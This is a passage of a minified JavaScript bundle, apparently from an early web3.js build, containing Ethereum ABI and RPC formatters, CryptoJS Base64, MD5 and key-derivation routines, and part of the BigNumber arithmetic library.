e=r.fromUtf8(n).substr(2),t=e.length/2,i=Math.floor((e.length+63)/64);return e=r.padRight(e,64*i),new a(s(t).value+e)},formatInputBool:function(n){return new a("000000000000000000000000000000000000000000000000000000000000000"+(n?"1":"0"))},formatInputReal:function(n){return s(new i(n).times(new i(2).pow(128)))},formatOutputInt:l,formatOutputUInt:c,formatOutputReal:function(n){return l(n).dividedBy(new i(2).pow(128))},formatOutputUReal:function(n){return c(n).dividedBy(new i(2).pow(128))},formatOutputBool:function(n){return"0000000000000000000000000000000000000000000000000000000000000001"===n.staticPart()},formatOutputBytes:function(n,e){var t=e.match(/^bytes([0-9]*)/),i=parseInt(t[1]);return"0x"+n.staticPart().slice(0,2*i)},formatOutputDynamicBytes:function(n){var e=2*new i(n.dynamicPart().slice(0,64),16).toNumber();return"0x"+n.dynamicPart().substr(64,e)},formatOutputString:function(n){var e=2*new i(n.dynamicPart().slice(0,64),16).toNumber();return r.toUtf8(n.dynamicPart().substr(64,e))},formatOutputAddress:function(n){var e=n.staticPart();return"0x"+e.slice(e.length-40,e.length)}}},function(n,e,t){var i=t(3),r=t(25),o=function(n){this._inputFormatter=n.inputFormatter,this._outputFormatter=n.outputFormatter};o.prototype.isType=function(n){throw"this method should be overrwritten for type "+n},o.prototype.staticPartLength=function(n){return(this.nestedTypes(n)||["[1]"]).map(function(n){return parseInt(n.slice(1,-1),10)||1}).reduce(function(n,e){return n*e},32)},o.prototype.isDynamicArray=function(n){var e=this.nestedTypes(n);return!!e&&!e[e.length-1].match(/[0-9]{1,}/g)},o.prototype.isStaticArray=function(n){var e=this.nestedTypes(n);return!!e&&!!e[e.length-1].match(/[0-9]{1,}/g)},o.prototype.staticArrayLength=function(n){var e=this.nestedTypes(n);return e?parseInt(e[e.length-1].match(/[0-9]{1,}/g)||1):1},o.prototype.nestedName=function(n){var e=this.nestedTypes(n);return e?n.substr(0,n.length-e[e.length-1].length):n},o.prototype.isDynamicType=function(){return!1},o.prototype.nestedTypes=function(n){return n.match(/(\[[0-9]*\])/g)},o.prototype.encode=function(n,e){var t,r,o,a=this;return this.isDynamicArray(e)?(t=n.length,r=a.nestedName(e),(o=[]).push(i.formatInputInt(t).encode()),n.forEach(function(n){o.push(a.encode(n,r))}),o):this.isStaticArray(e)?function(){for(var t=a.staticArrayLength(e),i=a.nestedName(e),r=[],o=0;o<t;o++)r.push(a.encode(n[o],i));return r}():this._inputFormatter(n,e).encode()},o.prototype.decode=function(n,e,t){var i=this;if(this.isDynamicArray(t))return function(){for(var r=parseInt("0x"+n.substr(2*e,64)),o=parseInt("0x"+n.substr(2*r,64)),a=r+32,s=i.nestedName(t),l=i.staticPartLength(s),c=32*Math.floor((l+31)/32),d=[],f=0;f<o*c;f+=c)d.push(i.decode(n,a+f,s));return d}();if(this.isStaticArray(t))return function(){for(var r=i.staticArrayLength(t),o=e,a=i.nestedName(t),s=i.staticPartLength(a),l=32*Math.floor((s+31)/32),c=[],d=0;d<r*l;d+=l)c.push(i.decode(n,o+d,a));return c}();if(this.isDynamicType(t))return function(){var o=parseInt("0x"+n.substr(2*e,64)),a=parseInt("0x"+n.substr(2*o,64)),s=Math.floor((a+31)/32),l=new r(n.substr(2*o,64*(1+s)),0);return i._outputFormatter(l,t)}();var o=this.staticPartLength(t),a=new r(n.substr(2*e,2*o));return this._outputFormatter(a,t)},n.exports=o},function(n,e,t){"use strict";var i=t(2),r=t(15),o=t(17),a=function(n){if(void 0!==n)return function(n){return"latest"===n||"pending"===n||"earliest"===n}(n)?n:i.toHex(n)},s=function(n){return null!==n.blockNumber&&(n.blockNumber=i.toDecimal(n.blockNumber)),null!==n.transactionIndex&&(n.transactionIndex=i.toDecimal(n.transactionIndex)),n.nonce=i.toDecimal(n.nonce),n.gas=i.toDecimal(n.gas),n.gasPrice=i.toBigNumber(n.gasPrice),n.value=i.toBigNumber(n.value),n},l=function(n){return n.blockNumber&&(n.blockNumber=i.toDecimal(n.blockNumber)),n.transactionIndex&&(n.transactionIndex=i.toDecimal(n.transactionIndex)),n.logIndex&&(n.logIndex=i.toDecimal(n.logIndex)),n},c=function(n){var e=new o(n);if(e.isValid()&&e.isDirect())return"0x"+e.address();if(i.isStrictAddress(n))return n;if(i.isAddress(n))return"0x"+n;throw new Error("invalid address")};n.exports={inputDefaultBlockNumberFormatter:function(n){return void 0===n?r.defaultBlock:a(n)},inputBlockNumberFormatter:a,inputCallFormatter:function(n){return n.from=n.from||r.defaultAccount,n.from&&(n.from=c(n.from)),n.to&&(n.to=c(n.to)),["gasPrice","gas","value","nonce"].filter(function(e){return void 0!==n[e]}).forEach(function(e){n[e]=i.fromDecimal(n[e])}),n},inputTransactionFormatter:function(n){return n.from=n.from||r.defaultAccount,n.from=c(n.from),n.to&&(n.to=c(n.to)),["gasPrice","gas","value","nonce"].filter(function(e){return void 0!==n[e]}).forEach(function(e){n[e]=i.fromDecimal(n[e])}),n},inputAddressFormatter:c,inputPostFormatter:function(n){return n.ttl=i.fromDecimal(n.ttl),n.workToProve=i.fromDecimal(n.workToProve),n.priority=i.fromDecimal(n.priority),i.isArray(n.topics)||(n.topics=n.topics?[n.topics]:[]),n.topics=n.topics.map(function(n){return 0===n.indexOf("0x")?n:i.fromUtf8(n)}),n},outputBigNumberFormatter:function(n){return i.toBigNumber(n)},outputTransactionFormatter:s,outputTransactionReceiptFormatter:function(n){return null!==n.blockNumber&&(n.blockNumber=i.toDecimal(n.blockNumber)),null!==n.transactionIndex&&(n.transactionIndex=i.toDecimal(n.transactionIndex)),n.cumulativeGasUsed=i.toDecimal(n.cumulativeGasUsed),n.gasUsed=i.toDecimal(n.gasUsed),i.isArray(n.logs)&&(n.logs=n.logs.map(function(n){return l(n)})),n},outputBlockFormatter:function(n){return n.gasLimit=i.toDecimal(n.gasLimit),n.gasUsed=i.toDecimal(n.gasUsed),n.size=i.toDecimal(n.size),n.timestamp=i.toDecimal(n.timestamp),null!==n.number&&(n.number=i.toDecimal(n.number)),n.difficulty=i.toBigNumber(n.difficulty),n.totalDifficulty=i.toBigNumber(n.totalDifficulty),i.isArray(n.transactions)&&n.transactions.forEach(function(n){if(!i.isString(n))return s(n)}),n},outputLogFormatter:l,outputPostFormatter:function(n){return n.expiry=i.toDecimal(n.expiry),n.sent=i.toDecimal(n.sent),n.ttl=i.toDecimal(n.ttl),n.workProved=i.toDecimal(n.workProved),n.topics||(n.topics=[]),n.topics=n.topics.map(function(n){return i.toAscii(n)}),n},outputSyncingFormatter:function(n){return n?(n.startingBlock=i.toDecimal(n.startingBlock),n.currentBlock=i.toDecimal(n.currentBlock),n.highestBlock=i.toDecimal(n.highestBlock),n.knownStates&&(n.knownStates=i.toDecimal(n.knownStates),n.pulledStates=i.toDecimal(n.pulledStates)),n):n}}},function(n,e,t){var i=t(2),r=t(10),o=function(n){this.name=n.name,this.call=n.call,this.params=n.params||0,this.inputFormatter=n.inputFormatter,this.outputFormatter=n.outputFormatter,this.requestManager=null};o.prototype.setRequestManager=function(n){this.requestManager=n},o.prototype.getCall=function(n){return i.isFunction(this.call)?this.call(n):this.call},o.prototype.extractCallback=function(n){if(i.isFunction(n[n.length-1]))return n.pop()},o.prototype.validateArgs=function(n){if(n.length!==this.params)throw r.InvalidNumberOfRPCParams()},o.prototype.formatInput=function(n){return this.inputFormatter?this.inputFormatter.map(function(e,t){return e?e(n[t]):n[t]}):n},o.prototype.formatOutput=function(n){return this.outputFormatter&&n?this.outputFormatter(n):n},o.prototype.toPayload=function(n){var e=this.getCall(n),t=this.extractCallback(n),i=this.formatInput(n);return this.validateArgs(i),{method:e,params:i,callback:t}},o.prototype.attachToObject=function(n){var e=this.buildCall();e.call=this.call;var t=this.name.split(".");t.length>1?(n[t[0]]=n[t[0]]||{},n[t[0]][t[1]]=e):n[t[0]]=e},o.prototype.buildCall=function(){var n=this,e=function(){var e=n.toPayload(Array.prototype.slice.call(arguments));return e.callback?n.requestManager.sendAsync(e,function(t,i){e.callback(t,n.formatOutput(i))}):n.formatOutput(n.requestManager.send(e))};return e.request=this.request.bind(this),e},o.prototype.request=function(){var n=this.toPayload(Array.prototype.slice.call(arguments));return n.format=this.formatOutput.bind(this),n},n.exports=o},function(n,e,t){var i;i=function(n){return function(){var e=n,t=e.lib.WordArray;e.enc.Base64={stringify:function(n){var e=n.words,t=n.sigBytes,i=this._map;n.clamp();for(var r=[],o=0;o<t;o+=3)for(var a=(e[o>>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,s=0;s<4&&o+.75*s<t;s++)r.push(i.charAt(a>>>6*(3-s)&63));var l=i.charAt(64);if(l)for(;r.length%4;)r.push(l);return r.join("")},parse:function(n){var e=n.length,i=this._map,r=this._reverseMap;if(!r){r=this._reverseMap=[];for(var o=0;o<i.length;o++)r[i.charCodeAt(o)]=o}var a=i.charAt(64);if(a){var s=n.indexOf(a);-1!==s&&(e=s)}return function(n,e,i){for(var r=[],o=0,a=0;a<e;a++)if(a%4){var s=i[n.charCodeAt(a-1)]<<a%4*2,l=i[n.charCodeAt(a)]>>>6-a%4*2;r[o>>>2]|=(s|l)<<24-o%4*8,o++}return t.create(r,o)}(n,e,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="}}(),n.enc.Base64},n.exports=i(t(0))},function(n,e,t){var i;i=function(n){var e,t,i,r,o,a,s;return t=(e=n).lib,i=t.Base,r=t.WordArray,o=e.algo,a=o.MD5,s=o.EvpKDF=i.extend({cfg:i.extend({keySize:4,hasher:a,iterations:1}),init:function(n){this.cfg=this.cfg.extend(n)},compute:function(n,e){for(var t=this.cfg,i=t.hasher.create(),o=r.create(),a=o.words,s=t.keySize,l=t.iterations;a.length<s;){c&&i.update(c);var c=i.update(n).finalize(e);i.reset();for(var d=1;d<l;d++)c=i.finalize(c),i.reset();o.concat(c)}return o.sigBytes=4*s,o}}),e.EvpKDF=function(n,e,t){return s.create(t).compute(n,e)},n.EvpKDF},n.exports=i(t(0),t(20),t(19))},function(n,e,t){var i;i=function(n){return function(e){var t=n,i=t.lib,r=i.WordArray,o=i.Hasher,a=t.algo,s=[];!function(){for(var n=0;n<64;n++)s[n]=4294967296*e.abs(e.sin(n+1))|0}();var l=a.MD5=o.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(n,e){for(var t=0;t<16;t++){var i=e+t,r=n[i];n[i]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8)}var o=this._hash.words,a=n[e+0],l=n[e+1],m=n[e+2],h=n[e+3],b=n[e+4],p=n[e+5],g=n[e+6],v=n[e+7],w=n[e+8],x=n[e+9],k=n[e+10],y=n[e+11],A=n[e+12],z=n[e+13],P=n[e+14],B=n[e+15],D=o[0],O=o[1],T=o[2],R=o[3];O=u(O=u(O=u(O=u(O=f(O=f(O=f(O=f(O=d(O=d(O=d(O=d(O=c(O=c(O=c(O=c(O,T=c(T,R=c(R,D=c(D,O,T,R,a,7,s[0]),O,T,l,12,s[1]),D,O,m,17,s[2]),R,D,h,22,s[3]),T=c(T,R=c(R,D=c(D,O,T,R,b,7,s[4]),O,T,p,12,s[5]),D,O,g,17,s[6]),R,D,v,22,s[7]),T=c(T,R=c(R,D=c(D,O,T,R,w,7,s[8]),O,T,x,12,s[9]),D,O,k,17,s[10]),R,D,y,22,s[11]),T=c(T,R=c(R,D=c(D,O,T,R,A,7,s[12]),O,T,z,12,s[13]),D,O,P,17,s[14]),R,D,B,22,s[15]),T=d(T,R=d(R,D=d(D,O,T,R,l,5,s[16]),O,T,g,9,s[17]),D,O,y,14,s[18]),R,D,a,20,s[19]),T=d(T,R=d(R,D=d(D,O,T,R,p,5,s[20]),O,T,k,9,s[21]),D,O,B,14,s[22]),R,D,b,20,s[23]),T=d(T,R=d(R,D=d(D,O,T,R,x,5,s[24]),O,T,P,9,s[25]),D,O,h,14,s[26]),R,D,w,20,s[27]),T=d(T,R=d(R,D=d(D,O,T,R,z,5,s[28]),O,T,m,9,s[29]),D,O,v,14,s[30]),R,D,A,20,s[31]),T=f(T,R=f(R,D=f(D,O,T,R,p,4,s[32]),O,T,w,11,s[33]),D,O,y,16,s[34]),R,D,P,23,s[35]),T=f(T,R=f(R,D=f(D,O,T,R,l,4,s[36]),O,T,b,11,s[37]),D,O,v,16,s[38]),R,D,k,23,s[39]),T=f(T,R=f(R,D=f(D,O,T,R,z,4,s[40]),O,T,a,11,s[41]),D,O,h,16,s[42]),R,D,g,23,s[43]),T=f(T,R=f(R,D=f(D,O,T,R,x,4,s[44]),O,T,A,11,s[45]),D,O,B,16,s[46]),R,D,m,23,s[47]),T=u(T,R=u(R,D=u(D,O,T,R,a,6,s[48]),O,T,v,10,s[49]),D,O,P,15,s[50]),R,D,p,21,s[51]),T=u(T,R=u(R,D=u(D,O,T,R,A,6,s[52]),O,T,h,10,s[53]),D,O,k,15,s[54]),R,D,l,21,s[55]),T=u(T,R=u(R,D=u(D,O,T,R,w,6,s[56]),O,T,B,10,s[57]),D,O,g,15,s[58]),R,D,z,21,s[59]),T=u(T,R=u(R,D=u(D,O,T,R,b,6,s[60]),O,T,y,10,s[61]),D,O,m,15,s[62]),R,D,x,21,s[63]),o[0]=o[0]+D|0,o[1]=o[1]+O|0,o[2]=o[2]+T|0,o[3]=o[3]+R|0},_doFinalize:function(){var n=this._data,t=n.words,i=8*this._nDataBytes,r=8*n.sigBytes;t[r>>>5]|=128<<24-r%32;var o=e.floor(i/4294967296),a=i;t[15+(r+64>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),t[14+(r+64>>>9<<4)]=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8),n.sigBytes=4*(t.length+1),this._process();for(var s=this._hash,l=s.words,c=0;c<4;c++){var d=l[c];l[c]=16711935&(d<<8|d>>>24)|4278255360&(d<<24|d>>>8)}return s},clone:function(){var n=o.clone.call(this);return n._hash=this._hash.clone(),n}});function c(n,e,t,i,r,o,a){var s=n+(e&t|~e&i)+r+a;return(s<<o|s>>>32-o)+e}function d(n,e,t,i,r,o,a){var s=n+(e&i|t&~i)+r+a;return(s<<o|s>>>32-o)+e}function f(n,e,t,i,r,o,a){var s=n+(e^t^i)+r+a;return(s<<o|s>>>32-o)+e}function u(n,e,t,i,r,o,a){var s=n+(t^(e|~i))+r+a;return(s<<o|s>>>32-o)+e}t.MD5=o._createHelper(l),t.HmacMD5=o._createHmacHelper(l)}(Math),n.MD5},n.exports=i(t(0))},function(n,e){n.exports={InvalidNumberOfSolidityArgs:function(){return new Error("Invalid number of arguments to Solidity function")},InvalidNumberOfRPCParams:function(){return new Error("Invalid number of input parameters to RPC method")},InvalidConnection:function(n){return new Error("CONNECTION ERROR: Couldn't connect to node "+n+".")},InvalidProvider:function(){return new Error("Provider not set or invalid")},InvalidResponse:function(n){var e=n&&n.error&&n.error.message?n.error.message:"Invalid JSON RPC response: "+JSON.stringify(n);return new Error(e)},ConnectionTimeout:function(n){return new Error("CONNECTION TIMEOUT: timeout of "+n+" ms achived")}}},function(n,e,t){var i=t(2),r=function(n){this.name=n.name,this.getter=n.getter,this.setter=n.setter,this.outputFormatter=n.outputFormatter,this.inputFormatter=n.inputFormatter,this.requestManager=null};r.prototype.setRequestManager=function(n){this.requestManager=n},r.prototype.formatInput=function(n){return this.inputFormatter?this.inputFormatter(n):n},r.prototype.formatOutput=function(n){return this.outputFormatter&&null!==n&&void 0!==n?this.outputFormatter(n):n},r.prototype.extractCallback=function(n){if(i.isFunction(n[n.length-1]))return n.pop()},r.prototype.attachToObject=function(n){var e={get:this.buildGet(),enumerable:!0},t=this.name.split("."),i=t[0];t.length>1&&(n[t[0]]=n[t[0]]||{},n=n[t[0]],i=t[1]),Object.defineProperty(n,i,e),n[o(i)]=this.buildAsyncGet()};var o=function(n){return"get"+n.charAt(0).toUpperCase()+n.slice(1)};r.prototype.buildGet=function(){var n=this;return function(){return n.formatOutput(n.requestManager.send({method:n.getter}))}},r.prototype.buildAsyncGet=function(){var n=this,e=function(e){n.requestManager.sendAsync({method:n.getter},function(t,i){e(t,n.formatOutput(i))})};return e.request=this.request.bind(this),e},r.prototype.request=function(){var n={method:this.getter,params:[],callback:this.extractCallback(Array.prototype.slice.call(arguments))};return n.format=this.formatOutput.bind(this),n},n.exports=r},function(n,e,t){var i=t(37),r=t(23);n.exports=function(n,e){return e&&"hex"===e.encoding&&(n.length>2&&"0x"===n.substr(0,2)&&(n=n.substr(2)),n=i.enc.Hex.parse(n)),r(n,{outputLength:256}).toString()}},function(n,e,t){var i;!function(r){"use strict";var o,a,s,l=/^-?(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,c=Math.ceil,d=Math.floor,f=" not a boolean or binary digit",u="rounding mode",m="number type has more than 15 significant digits",h="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$_",b=1e14,p=14,g=9007199254740991,v=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],w=1e7,x=1e9;function k(n){var e=0|n;return n>0||n===e?e:e-1}function y(n){for(var e,t,i=1,r=n.length,o=n[0]+"";i<r;){for(e=n[i++]+"",t=p-e.length;t--;e="0"+e);o+=e}for(r=o.length;48===o.charCodeAt(--r););return o.slice(0,r+1||1)}function A(n,e){var t,i,r=n.c,o=e.c,a=n.s,s=e.s,l=n.e,c=e.e;if(!a||!s)return null;if(t=r&&!r[0],i=o&&!o[0],t||i)return t?i?0:-s:a;if(a!=s)return a;if(t=a<0,i=l==c,!r||!o)return i?0:!r^t?1:-1;if(!i)return l>c^t?1:-1;for(s=(l=r.length)<(c=o.length)?l:c,a=0;a<s;a++)if(r[a]!=o[a])return r[a]>o[a]^t?1:-1;return l==c?0:l>c^t?1:-1}function z(n,e,t){return(n=T(n))>=e&&n<=t}function P(n){return"[object Array]"==Object.prototype.toString.call(n)}function B(n,e,t){for(var i,r,o=[0],a=0,s=n.length;a<s;){for(r=o.length;r--;o[r]*=e);for(o[i=0]+=h.indexOf(n.charAt(a++));i<o.length;i++)o[i]>t-1&&(null==o[i+1]&&(o[i+1]=0),o[i+1]+=o[i]/t|0,o[i]%=t)}return o.reverse()}function D(n,e){return(n.length>1?n.charAt(0)+"."+n.slice(1):n)+(e<0?"e":"e+")+e}function O(n,e){var t,i;if(e<0){for(i="0.";++e;i+="0");n=i+n}else if(++e>(t=n.length)){for(i="0",e-=t;--e;i+="0");n+=i}else e<t&&(n=n.slice(0,e)+"."+n.slice(e));return n}function T(n){return(n=parseFloat(n))<0?c(n):d(n)}o=function n(e){var t,i,r,o,R,S,H,C=0,E=G.prototype,N=new G(1),M=20,I=4,j=-7,X=21,F=-1e7,L=1e7,q=!0,U=Q,V=!1,Z=1,W=100,Y={decimalSeparator:".",groupSeparator:",",groupSize:3,secondaryGroupSize:0,fractionGroupSeparator:" ",fractionGroupSize:0};function G(n,e){var t,i,r,o,a,c,d=this;if(!(d instanceof G))return q&&nn(26,"constructor call without new",n),new G(n,e);if(null!=e&&U(e,2,64,C,"base")){if(c=n+"",10==(e|=0))return en(d=new G(n instanceof G?n:c),M+d.e+1,I);if((o="number"==typeof n)&&0*n!=0||!new RegExp("^-?"+(t="["+h.slice(0,e)+"]+")+"(?:\\."+t+")?$",e<37?"i":"").test(c))return s(d,c,o,e);o?(d.s=1/n<0?(c=c.slice(1),-1):1,q&&c.replace(/^0\.0*|\./,"").length>15&&nn(C,m,n),o=!1):d.s=45===c.charCodeAt(0)?(c=c.slice(1),-1):1,c=K(c,10,e,d.s)}else{if(n instanceof G)return d.s=n.s,d.e=n.e,d.c=(n=n.c)?n.slice():n,void(C=0);if((o="number"==typeof n)&&0*n==0){if(d.s=1/n<0?(n=-n,-1):1,n===~~n){for(i=0,r=n;r>=10;r/=10,i++);return d.e=i,d.c=[n],void(C=0)}c=n+""}else{if(!l.test(c=n+""))return s(d,c,o);d.s=45===c.charCodeAt(0)?(c=c.slice(1),-1):1}}for((i=c.indexOf("."))>-1&&(c=c.replace(".","")),(r=c.search(/e/i))>0?(i<0&&(i=r),i+=+c.slice(r+1),c=c.substring(0,r)):i<0&&(i=c.length),r=0;48===c.charCodeAt(r);r++);for(a=c.length;48===c.charCodeAt(--a););if(c=c.slice(r,a+1))if(a=c.length,o&&q&&a>15&&nn(C,m,d.s*n),(i=i-r-1)>L)d.c=d.e=null;else if(i<F)d.c=[d.e=0];else{if(d.e=i,d.c=[],r=(i+1)%p,i<0&&(r+=p),r<a){for(r&&d.c.push(+c.slice(0,r)),a-=p;r<a;)d.c.push(+c.slice(r,r+=p));c=c.slice(r),r=p-c.length}else r-=a;for(;r--;c+="0");d.c.push(+c)}else d.c=[d.e=0];C=0}function K(n,e,i,r){var o,a,s,l,c,d,f,u=n.indexOf("."),m=M,b=I;for(i<37&&(n=n.toLowerCase()),u>=0&&(s=W,W=0,n=n.replace(".",""),c=(f=new G(i)).pow(n.length-u),W=s,f.c=B(O(y(c.c),c.e),10,e),f.e=f.c.length),a=s=(d=B(n,i,e)).length;0==d[--s];d.pop());if(!d[0])return"0";if(u<0?--a:(c.c=d,c.e=a,c.s=r,d=(c=t(c,f,m,b,e)).c,l=c.r,a=c.e),u=d[o=a+m+1],s=e/2,l=l||o<0||null!=d[o+1],l=b<4?(null!=u||l)&&(0==b||b==(c.s<0?3:2)):u>s||u==s&&(4==b||l||6==b&&1&d[o-1]||b==(c.s<0?8:7)),o<1||!d[0])n=l?O("1",-m):"0";else{if(d.length=o,l)for(--e;++d[--o]>e;)d[o]=0,o||(++a,d.unshift(1));for(s=d.length;!d[--s];);for(u=0,n="";u<=s;n+=h.charAt(d[u++]));n=O(n,a)}return n}function _(n,e,t,i){var r,o,a,s,l;if(t=null!=t&&U(t,0,8,i,u)?0|t:I,!n.c)return n.toString();if(r=n.c[0],a=n.e,null==e)l=y(n.c),l=19==i||24==i&&a<=j?D(l,a):O(l,a);else if(o=(n=en(new G(n),e,t)).e,s=(l=y(n.c)).length,19==i||24==i&&(e<=o||o<=j)){for(;s<e;l+="0",s++);l=D(l,o)}else if(e-=a,l=O(l,o),o+1>s){if(--e>0)for(l+=".";e--;l+="0");}else if((e+=o-s)>0)for(o+1==s&&(l+=".");e--;l+="0");return n.s<0&&r?"-"+l:l}function J(n,e){var t,i,r=0;for(P(n[0])&&(n=n[0]),t=new G(n[0]);++r<n.length;){if(!(i=new G(n[r])).s){t=i;break}e.call(t,i)&&(t=i)}return t}function Q(n,e,t,i,r){return(n<e||n>t||n!=T(n))&&nn(i,(r||"decimal places")+(n<e||n>t?" out of range":" not an integer"),n),!0}function $(n,e,t){for(var i=1,r=e.length;!e[--r];e.pop());for(r=e[0];r>=10;r/=10,i++);return(t=i+t*p-1)>L?n.c=n.e=null:t<F?n.c=[n.e=0]:(n.e=t,n.c=e),n}function nn(n,e,t){var i=new Error(["new BigNumber","cmp","config","div","divToInt","eq","gt","gte","lt","lte","minus","mod","plus","precision","random","round","shift","times","toDigits","toExponential","toFixed","toFormat","toFraction","pow","toPrecision","toString","BigNumber"][n]+"() "+e+": "+t);throw i.name="BigNumber Error",C=0,i}function en(n,e,t,i){var r,o,a,s,l,f,u,m=n.c,h=v;if(m){n:{for(r=1,s=m[0];s>=10;s/=10,r++);if((o=e-r)<0)o+=p,a=e,u=(l=m[f=0])/h[r-a-1]%10|0;else if((f=c((o+1)/p))>=m.length){if(!i)break n;for(;m.length<=f;m.push(0));l=u=0,r=1,a=(o%=p)-p+1}else{for(l=s=m[f],r=1;s>=10;s/=10,r++);u=(a=(o%=p)-p+r)<0?0:l/h[r-a-1]%10|0}if(i=i||e<0||null!=m[f+1]||(a<0?l:l%h[r-a-1]),i=t<4?(u||i)&&(0==t||t==(n.s<0?3:2)):u>5||5==u&&(4==t||i||6==t&&(o>0?a>0?l/h[r-a]:0:m[f-1])%10&1||t==(n.s<0?8:7)),e<1||!m[0])return m.length=0,i?(e-=n.e+1,m[0]=h[e%p],n.e=-e||0):m[0]=n.e=0,n;if(0==o?(m.length=f,s=1,f--):(m.length=f+1,s=h[p-o],m[f]=a>0?d(l/h[r-a]%h[a])*s:0),i)for(;;){if(0==f){for(o=1,a=m[0];a>=10;a/=10,o++);for(a=m[0]+=s,s=1;a>=10;a/=10,s++);o!=s&&(n.e++,m[0]==b&&(m[0]=1));break}if(m[f]+=s,m[f]!=b)break;m[f--]=0,s=1}for(o=m.length;0===m[--o];m.pop());}n.e>L?n.c=n.e=null:n.e<F&&(n.c=[n.e=0])}return n}return G.another=n,G.ROUND_UP=0,G.ROUND_DOWN=1,G.ROUND_CEIL=2,G.ROUND_FLOOR=3,G.ROUND_HALF_UP=4,G.ROUND_HALF_DOWN=5,G.ROUND_HALF_EVEN=6,G.ROUND_HALF_CEIL=7,G.ROUND_HALF_FLOOR=8,G.EUCLID=9,G.config=function(){var n,e,t=0,i={},r=arguments,o=r[0],s=o&&"object"==typeof o?function(){if(o.hasOwnProperty(e))return null!=(n=o[e])}:function(){if(r.length>t)return null!=(n=r[t++])};return s(e="DECIMAL_PLACES")&&U(n,0,x,2,e)&&(M=0|n),i[e]=M,s(e="ROUNDING_MODE")&&U(n,0,8,2,e)&&(I=0|n),i[e]=I,s(e="EXPONENTIAL_AT")&&(P(n)?U(n[0],-x,0,2,e)&&U(n[1],0,x,2,e)&&(j=0|n[0],X=0|n[1]):U(n,-x,x,2,e)&&(j=-(X=0|(n<0?-n:n)))),i[e]=[j,X],s(e="RANGE")&&(P(n)?U(n[0],-x,-1,2,e)&&U(n[1],1,x,2,e)&&(F=0|n[0],L=0|n[1]):U(n,-x,x,2,e)&&(0|n?F=-(L=0|(n<0?-n:n)):q&&nn(2,e+" cannot be zero",n))),i[e]=[F,L],s(e="ERRORS")&&(n===!!n||1===n||0===n?(C=0,U=(q=!!n)?Q:z):q&&nn(2,e+f,n)),i[e]=q,s(e="CRYPTO")&&(n===!!n||1===n||0===n?(V=!(!n||!a||"object"!=typeof a),n&&!V&&q&&nn(2,"crypto unavailable",a)):q&&nn(2,e+f,n)),i[e]=V,s(e="MODULO_MODE")&&U(n,0,9,2,e)&&(Z=0|n),i[e]=Z,s(e="POW_PRECISION")&&U(n,0,x,2,e)&&(W=0|n),i[e]=W,s(e="FORMAT")&&("object"==typeof n?Y=n:q&&nn(2,e+" not an object",n)),i[e]=Y,i},G.max=function(){return J(arguments,E.lt)},G.min=function(){return J(arguments,E.gt)},G.random=(i=9007199254740992*Math.random()&2097151?function(){return d(9007199254740992*Math.random())}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)},function(n){var e,t,r,o,s,l=0,f=[],u=new G(N);if(n=null!=n&&U(n,0,x,14)?0|n:M,o=c(n/p),V)if(a&&a.getRandomValues){for(e=a.getRandomValues(new Uint32Array(o*=2));l<o;)(s=131072*e[l]+(e[l+1]>>>11))>=9e15?(t=a.getRandomValues(new Uint32Array(2)),e[l]=t[0],e[l+1]=t[1]):(f.push(s%1e14),l+=2);l=o/2}else if(a&&a.randomBytes){for(e=a.randomBytes(o*=7);l<o;)(s=281474976710656*(31&e[l])+1099511627776*e[l+1]+4294967296*e[l+2]+16777216*e[l+3]+(e[l+4]<<16)+(e[l+5]<<8)+e[l+6])>=9e15?a.randomBytes(7).copy(e,l):(f.push(s%1e14),l+=7);l=o/7}else q&&nn(14,"crypto unavailable",a);if(!l)for(;l<o;)(s=i())<9e15&&(f[l++]=s%1e14);for(o=f[--l],n%=p,o&&n&&(s=v[p-n],f[l]=d(o/s)*s);0===f[l];f.pop(),l--);if(l<0)f=[r=0];else{for(r=-1;0===f[0];f.shift(),r-=p);for(l=1,s=f[0];s>=10;s/=10,l++);l<p&&(r-=p-l)}return u.e=r,u.c=f,u}),t=function(){function n(n,e,t){var i,r,o,a,s=0,l=n.length,c=e%w,d=e/w|0;for(n=n.slice();l--;)s=((r=c*(o=n[l]%w)+(i=d*o+(a=n[l]/w|0)*c)%w*w+s)/t|0)+(i/w|0)+d*a,n[l]=r%t;return s&&n.unshift(s),n}function e(n,e,t,i){var r,o;if(t!=i)o=t>i?1:-1;else for(r=o=0;r<t;r++)if(n[r]!=e[r]){o=n[r]>e[r]?1:-1;break}return o}function t(n,e,t,i){for(var r=0;t--;)n[t]-=r,r=n[t]<e[t]?1:0,n[t]=r*i+n[t]-e[t];for(;!n[0]&&n.length>1;n.shift());}return function(i,r,o,a,s){var l,c,f,u,m,h,g,v,w,x,y,A,z,P,B,D,O,T=i.s==r.s?1:-1,R=i.c,S=r.c;if(!(R&&R[0]&&S&&S[0]))return new G(i.s&&r.s&&(R?!S||R[0]!=S[0]:S)?R&&0==R[0]||!S?0*T:T/0:NaN);for(w=(v=new G(T)).c=[],T=o+(c=i.e-r.e)+1,s||(s=b,c=k(i.e/p)-k(r.e/p),T=T/p|0),f=0;S[f]==(R[f]||0);f++);if(S[f]>(R[f]||0)&&c--,T<0)w.push(1),u=!0;else{for(P=R.length,D=S.length,f=0,T+=2,(m=d(s/(S[0]+1)))>1&&(S=n(S,m,s),R=n(R,m,s),D=S.length,P=R.length),z=D,y=(x=R.slice(0,D)).length;y<D;x[y++]=0);(O=S.slice()).unshift(0),B=S[0],S[1]>=s/2&&B++;do{if(m=0,(l=e(S,x,D,y))<0){if(A=x[0],D!=y&&(A=A*s+(x[1]||0)),(m=d(A/B))>1)for(m>=s&&(m=s-1),g=(h=n(S,m,s)).length,y=x.length;1==e(h,x,g,y);)m--,t(h,D<g?O:S,g,s),g=h.length,l=1;else 